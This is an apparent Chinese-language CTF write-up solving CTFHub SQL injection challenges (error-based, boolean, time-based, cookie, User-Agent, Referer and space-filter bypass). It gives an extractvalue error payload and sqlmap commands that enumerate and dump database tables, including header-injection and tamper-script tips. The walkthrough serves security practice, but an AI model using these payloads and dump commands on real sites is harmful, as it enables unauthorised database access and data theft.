[TOC]

整数型注入

image-20241028214432589

看到源码了,直接sql一套秒了

image-20241028214411807

字符型注入

image-20241028214614401

image-20241028215453005

SQL 报错注入

image-20241028215607907

构造payload

1 and (select extractvalue(1,concat(‘~’,(select database()))))

后续步骤跟sql基本步骤一样

image-20241028220809635

SQL 布尔注入

image-20241029190728233

人工测试太麻烦,这里直接使用sqlmap,知道这有sql注入漏洞,就省去扫描步骤了。

先查看当前数据库 --sqli

1
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch --current-db

image-20241029190924035

再查看表

1
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' --tables

image-20241029191400321

查看flag表中的字段

1
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' -T 'flag' --columns

image-20241029192216810

查看flag字段下的内容,找到flag

1
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' -T 'flag' -C 'flag' --dump

image-20241029193105341

时间盲注

sqlmap步骤同上面一样

image-20241029195709025

MySQL结构

步骤一样,只是换了个位置

image-20241029200950786

Cookie注入

就是在cookie处进行sql注入,一般cookie处会有暗示

image-20241029201349676

将抓包信息保存在txt文件中,然后在cookie处的id=1处加个*号,即改成

1
id=1*

指定cookie查询

1
sqlmap -r temp.txt -batch

image-20241029201838886

发现存在cookie注入,然后就是与上述步骤相似

1
2
sqlmap -r temp.txt -batch --dbs
...

image-20241029202129708

UA注入

refer注入的特征就是抓包后发现缺少refer头部,然后在refer处进行sql漏洞注入。

注意:直接扫描漏洞需要level 3及以上才会查询文件头(UA,refer等)

1
sqlmap -u 'http://xxx.com' -level 3

这道题:

1
sqlmap -u 'http://challenge-3cf6a5a75d4ca322.sandbox.ctfhub.com:10800/' -level 3 -batch

image-20241029203326528

发现ua注入,剩下的步骤同上

1
2
...
sqlmap -u 'http://challenge-3cf6a5a75d4ca322.sandbox.ctfhub.com:10800/' -level 3 -batch -D 'sqli' -T 'vjzangmqpt' --dump

image-20241029203510461

Refer注入

步骤同上

image-20241029205211346

强调:如果直接检查时间太长,可以抓包放进txt文件,在对应的地方注入然后打个标记,然后用文件扫描。

过滤空格

使用tamper模块space2comment.py,步骤一样

1
sqlmap -u 'http://challenge-922c2f9d7e288e20.sandbox.ctfhub.com:10800?id=1' --tamper space2comment.py -batch --dbs

image-20241029215956237